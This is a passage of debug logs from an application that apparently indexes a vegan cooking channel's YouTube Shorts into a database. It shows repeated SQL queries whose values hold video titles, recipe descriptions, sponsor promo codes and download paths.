false, "QYH2DtNMZVU", "https://www.youtube.com/shorts/QYH2DtNMZVU", "/downloads/downloads/alec/Steamy Vegan/2025-03-13 Smokey Sweet Baked Beans Recipe/Smokey Sweet Baked Beans Recipe [QYH2DtNMZVU].NA", true, ~U[2025-03-13 00:00:00Z]] 20:31:09.099 [debug] QUERY OK source="sources" db=0.7ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.101 [debug] QUERY OK source="media_items" db=1.7ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-04 00:00:00Z], 1] 20:31:09.102 [debug] QUERY OK source="media_items" db=0.9ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This tofu yellow Thai curry is one of my favourite vegan recipes and it's super easy to make. Check out my full Thai meal prep episode for more vegan Thai recipes!\n\nSubscribe for more weekly vegan and gluten-free recipes, grocery hauls, and more!\n\nAll recipes can be found in this blog post here! ➡️ https://steamyvegan.com/vegan-thai-in...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANK30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Yellow Thai Curry 🍚", "303056e1-aa8a-47d7-b7b8-069fa28e4645", 1, [], false, "rzkx9EjYWoE", "https://www.youtube.com/shorts/rzkx9EjYWoE", 46, "/downloads/downloads/alec/Steamy Vegan/2025-03-04 Vegan Yellow Thai Curry 🍚/Vegan Yellow Thai Curry 🍚 [rzkx9EjYWoE].NA", false, false, true, 1, ~U[2025-03-04 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This tofu yellow Thai curry is one of my favourite vegan recipes and it's super easy to make. Check out my full Thai meal prep episode for more vegan Thai recipes!\n\nSubscribe for more weekly vegan and gluten-free recipes, grocery hauls, and more!\n\nAll recipes can be found in this blog post here! ➡️ https://steamyvegan.com/vegan-thai-in...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANK30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Yellow Thai Curry 🍚", 1, nil, false, "rzkx9EjYWoE", "https://www.youtube.com/shorts/rzkx9EjYWoE", "/downloads/downloads/alec/Steamy Vegan/2025-03-04 Vegan Yellow Thai Curry 🍚/Vegan Yellow Thai Curry 🍚 [rzkx9EjYWoE].NA", true, ~U[2025-03-04 00:00:00Z]] 20:31:09.104 [debug] QUERY OK source="sources" db=0.8ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.106 [debug] QUERY OK source="media_items" db=1.8ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-03 00:00:00Z], 1] 20:31:09.110 [debug] QUERY OK source="media_items" db=1.8ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Get the full recipe for my Vegan Sausage & Egg Casserole! ➡️ https://steamyvegan.com/sausage-egg-c...\n#vegancooking #easyveganrecipes #vegan #steamyvegan #dumpandbake", "Vegan Sausage and Egg Breakfast Casserole 🍳", "6bab5afa-3118-4e49-9b22-06e4165c3f7b", 1, [], false, "zg6gD70_wrI", "https://www.youtube.com/shorts/zg6gD70_wrI", 47, "/downloads/downloads/alec/Steamy Vegan/2025-03-03 Vegan Sausage and Egg Breakfast Casserole 🍳/Vegan Sausage and Egg Breakfast Casserole 🍳 [zg6gD70_wrI].NA", false, false, true, 1, ~U[2025-03-03 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Get the full recipe for my Vegan Sausage & Egg Casserole! ➡️ https://steamyvegan.com/sausage-egg-c...\n#vegancooking #easyveganrecipes #vegan #steamyvegan #dumpandbake", "Vegan Sausage and Egg Breakfast Casserole 🍳", 1, nil, false, "zg6gD70_wrI", "https://www.youtube.com/shorts/zg6gD70_wrI", "/downloads/downloads/alec/Steamy Vegan/2025-03-03 Vegan Sausage and Egg Breakfast Casserole 🍳/Vegan Sausage and Egg Breakfast Casserole 🍳 [zg6gD70_wrI].NA", true, ~U[2025-03-03 00:00:00Z]] 20:31:09.111 [debug] QUERY OK source="sources" db=1.0ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.114 [debug] QUERY OK source="media_items" db=2.5ms idle=9.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-27 00:00:00Z], 1] 20:31:09.115 [debug] QUERY OK source="media_items" db=0.9ms idle=10.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Complement for sponsoring today's video!\n\n💊🥬 Get 15% off Complement Protein, organic plant-based protein made with five real food proteins at https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nFor all other Complement products, use the link https://lovecomplement.com/?aff=578 and the coupon code STEAMYVEGAN at checkout to save 15% on your order. \n\n☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n#empoweredbycomplement #complementpartner#lovecomplement", "Protein Mocha ☕️🤎💪🏼", "18f9b799-8fac-4ba4-89c2-30c0dcc1e23f", 1, [], false, "GkdGRJ6mYdo", "https://www.youtube.com/shorts/GkdGRJ6mYdo", 48, "/downloads/downloads/alec/Steamy Vegan/2025-02-27 Protein Mocha ☕️🤎💪🏼/Protein Mocha ☕️🤎💪🏼 [GkdGRJ6mYdo].NA", false, false, true, 1, ~U[2025-02-27 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Thank you to Complement for sponsoring today's video!\n\n💊🥬 Get 15% off Complement Protein, organic plant-based protein made with five real food proteins at https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nFor all other Complement products, use the link https://lovecomplement.com/?aff=578 and the coupon code STEAMYVEGAN at checkout to save 15% on your order. \n\n☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n#empoweredbycomplement #complementpartner#lovecomplement", "Protein Mocha ☕️🤎💪🏼", 1, nil, false, "GkdGRJ6mYdo", "https://www.youtube.com/shorts/GkdGRJ6mYdo", "/downloads/downloads/alec/Steamy Vegan/2025-02-27 Protein Mocha ☕️🤎💪🏼/Protein Mocha ☕️🤎💪🏼 [GkdGRJ6mYdo].NA", true, ~U[2025-02-27 00:00:00Z]] 20:31:09.116 [debug] QUERY OK source="sources" db=0.8ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.118 [debug] QUERY OK source="media_items" db=2.0ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-12 00:00:00Z], 1] 20:31:09.120 [debug] QUERY OK source="media_items" db=1.1ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These tiramisu overnight oats are a high-protein vegan breakfast recipe that will make your Valentine's Day breakfast oh so sensual. I made these vegan, gluten-free, and high-protein to make them a healthy vegan breakfast option and I added in a special brain-boosting ingredient that will boost your mood and give you energy!\n\nFull recipe on my blog: https://steamyvegan.com/tiramisu-over...\n\nCheck out the brain-boosting coffee JostArriba that is featured in this video with the link below and use my code STEAMYVEGAN to get 20% off your first order. \n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 The Best Protein Powders to Use For This Recipe\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANK30\n🔗: https://goodprotein.ca/?ref=Janelle", "I'll have what she's having! 🤎 Tiramisu Overnight Oats", "e6dc0ad1-d50d-4c09-9371-fa5c21c7b567", 1, [], false, "JbHtj_eN6pY", "https://www.youtube.com/shorts/JbHtj_eN6pY", 49, "/downloads/downloads/alec/Steamy Vegan/2025-02-12 I'll have what she's having! 🤎 Tiramisu Overnight Oats/I'll have what she's having! 🤎 Tiramisu Overnight Oats [JbHtj_eN6pY].NA", false, false, true, 1, ~U[2025-02-12 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These tiramisu overnight oats are a high-protein vegan breakfast recipe that will make your Valentine's Day breakfast oh so sensual. I made these vegan, gluten-free, and high-protein to make them a healthy vegan breakfast option and I added in a special brain-boosting ingredient that will boost your mood and give you energy!\n\nFull recipe on my blog: https://steamyvegan.com/tiramisu-over...\n\nCheck out the brain-boosting coffee JostArriba that is featured in this video with the link below and use my code STEAMYVEGAN to get 20% off your first order. \n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 The Best Protein Powders to Use For This Recipe\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANK30\n🔗: https://goodprotein.ca/?ref=Janelle", "I'll have what she's having! 🤎 Tiramisu Overnight Oats", 1, nil, false, "JbHtj_eN6pY", "https://www.youtube.com/shorts/JbHtj_eN6pY", "/downloads/downloads/alec/Steamy Vegan/2025-02-12 I'll have what she's having! 🤎 Tiramisu Overnight Oats/I'll have what she's having! 🤎 Tiramisu Overnight Oats [JbHtj_eN6pY].NA", true, ~U[2025-02-12 00:00:00Z]] 20:31:09.122 [debug] QUERY OK source="sources" db=1.4ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.125 [debug] QUERY OK source="media_items" db=3.5ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-09 00:00:00Z], 1] 20:31:09.127 [debug] QUERY OK source="media_items" db=1.7ms idle=9.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This tofu feta vegan recipe is perfect for salads, buddha bowls, greek salads, or anything you'd typically put feta cheese on. It's a super easy recipe to make, it's high-protein and perfect for anyone looking to avoid cheese. \n\nHope you enjoy, get down tonight, make a little love, and have fun with this recipe! Subscribe for more steamy vegan recipes each week!", "Make a little love ❤️ Eat tofu feta tonight 🤤", "5ce84453-d9a0-4bf6-8854-b8884b7d81a9", 1, [], false, "kNknlqCmp_0", "https://www.youtube.com/shorts/kNknlqCmp_0", 50, "/downloads/downloads/alec/Steamy Vegan/2025-02-09 Make a little love ❤️ Eat tofu feta tonight 🤤/Make a little love ❤️ Eat tofu feta tonight 🤤 [kNknlqCmp_0].NA", false, false, true, 1, ~U[2025-02-09 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This tofu feta vegan recipe is perfect for salads, buddha bowls, greek salads, or anything you'd typically put feta cheese on. It's a super easy recipe to make, it's high-protein and perfect for anyone looking to avoid cheese. \n\nHope you enjoy, get down tonight, make a little love, and have fun with this recipe! Subscribe for more steamy vegan recipes each week!", "Make a little love ❤️ Eat tofu feta tonight 🤤", 1, nil, false, "kNknlqCmp_0", "https://www.youtube.com/shorts/kNknlqCmp_0", "/downloads/downloads/alec/Steamy Vegan/2025-02-09 Make a little love ❤️ Eat tofu feta tonight 🤤/Make a little love ❤️ Eat tofu feta tonight 🤤 [kNknlqCmp_0].NA", true, ~U[2025-02-09 00:00:00Z]] 20:31:09.129 [debug] QUERY OK source="sources" db=0.9ms queue=0.9ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.132 [debug] QUERY OK source="media_items" db=2.2ms idle=9.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-07 00:00:00Z], 1] 20:31:09.136 [debug] QUERY OK source="media_items" db=2.8ms idle=11.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This maple orange tahini salad dressing is gluten-free, plant-based and has been my go-to this past month as I try to eat more salads to lose weight and gain muscle. If you enjoy weekly vegan recipes don't forget to subscribe!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Maple Orange Tahini Salad Dressing 🍊 🥗", "8fd96e7c-b739-4d7c-885b-b5a66a5793aa", 1, [], false, "g49o-Sczg-c", "https://www.youtube.com/shorts/g49o-Sczg-c", 51, "/downloads/downloads/alec/Steamy Vegan/2025-02-07 Maple Orange Tahini Salad Dressing 🍊 🥗/Maple Orange Tahini Salad Dressing 🍊 🥗 [g49o-Sczg-c].NA", false, false, true, 1, ~U[2025-02-07 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This maple orange tahini salad dressing is gluten-free, plant-based and has been my go-to this past month as I try to eat more salads to lose weight and gain muscle. If you enjoy weekly vegan recipes don't forget to subscribe!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Maple Orange Tahini Salad Dressing 🍊 🥗", 1, nil, false, "g49o-Sczg-c", "https://www.youtube.com/shorts/g49o-Sczg-c", "/downloads/downloads/alec/Steamy Vegan/2025-02-07 Maple Orange Tahini Salad Dressing 🍊 🥗/Maple Orange Tahini Salad Dressing 🍊 🥗 [g49o-Sczg-c].NA", true, ~U[2025-02-07 00:00:00Z]] 20:31:09.136 [debug] QUERY OK source="sources" db=0.4ms idle=10.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.139 [debug] QUERY OK source="media_items" db=1.8ms idle=9.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-30 00:00:00Z], 1] 20:31:09.140 [debug] QUERY OK source="media_items" db=0.9ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Complement for sponsoring today's video!\n\n💊🥬 Get 15% off Complement Protein, organic plant-based protein made with five real food proteins at https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nFor all other Complement products, use the link https://lovecomplement.com/?aff=578 and the coupon code STEAMYVEGAN at checkout to save 15% on your order. \n\n#empoweredbycomplement #complementpartner#lovecomplement\n\nThese homemade protein bars are vegan, gluten-free, low calorie, and most importantly high-protein. They're a no bake, easy vegan recipe, that provide you with tons of energy. Hope you enjoy!", "Homemade Protein Bars 💪140 cal, 10g Protein 🤎", "0b9bba16-a8c6-4968-930f-6919662e1ec9", 1, [], false, "zCDfNcxOhqc", "https://www.youtube.com/shorts/zCDfNcxOhqc", 52, "/downloads/downloads/alec/Steamy Vegan/2025-01-30 Homemade Protein Bars 💪140 cal, 10g Protein 🤎/Homemade Protein Bars 💪140 cal, 10g Protein 🤎 [zCDfNcxOhqc].NA", false, false, true, 1, ~U[2025-01-30 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Thank you to Complement for sponsoring today's video!\n\n💊🥬 Get 15% off Complement Protein, organic plant-based protein made with five real food proteins at https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nFor all other Complement products, use the link https://lovecomplement.com/?aff=578 and the coupon code STEAMYVEGAN at checkout to save 15% on your order. \n\n#empoweredbycomplement #complementpartner#lovecomplement\n\nThese homemade protein bars are vegan, gluten-free, low calorie, and most importantly high-protein. They're a no bake, easy vegan recipe, that provide you with tons of energy. Hope you enjoy!", "Homemade Protein Bars 💪140 cal, 10g Protein 🤎", 1, nil, false, "zCDfNcxOhqc", "https://www.youtube.com/shorts/zCDfNcxOhqc", "/downloads/downloads/alec/Steamy Vegan/2025-01-30 Homemade Protein Bars 💪140 cal, 10g Protein 🤎/Homemade Protein Bars 💪140 cal, 10g Protein 🤎 [zCDfNcxOhqc].NA", true, ~U[2025-01-30 00:00:00Z]] 20:31:09.141 [debug] QUERY OK source="sources" db=0.7ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.145 [debug] QUERY OK source="media_items" db=2.5ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-27 00:00:00Z], 1] 20:31:09.146 [debug] QUERY OK source="media_items" db=1.0ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Looking for a non-lame Valentine’s gift that actually makes you feel good? 😍 Give yourself or someone special the gift of crash-free energy with no jitters ☕️\n\nUse my code STEAMYVEGAN to save 20% off my favourite adaptogenic coffee alternative JostArriba!\n🔗 https://eightbillion.com/steamyvegan\n\nPLUS it’s sustainable (compostable, reusable and recyclable packaging), which is a gift to the planet 🌎❤️ \n\n#somuchmorethancoffee #sustainable #sustainablevalentines #valentinesgift\n#steamyvegan #plantbased #yvrvegan #eightbillionplanet #jostarriba 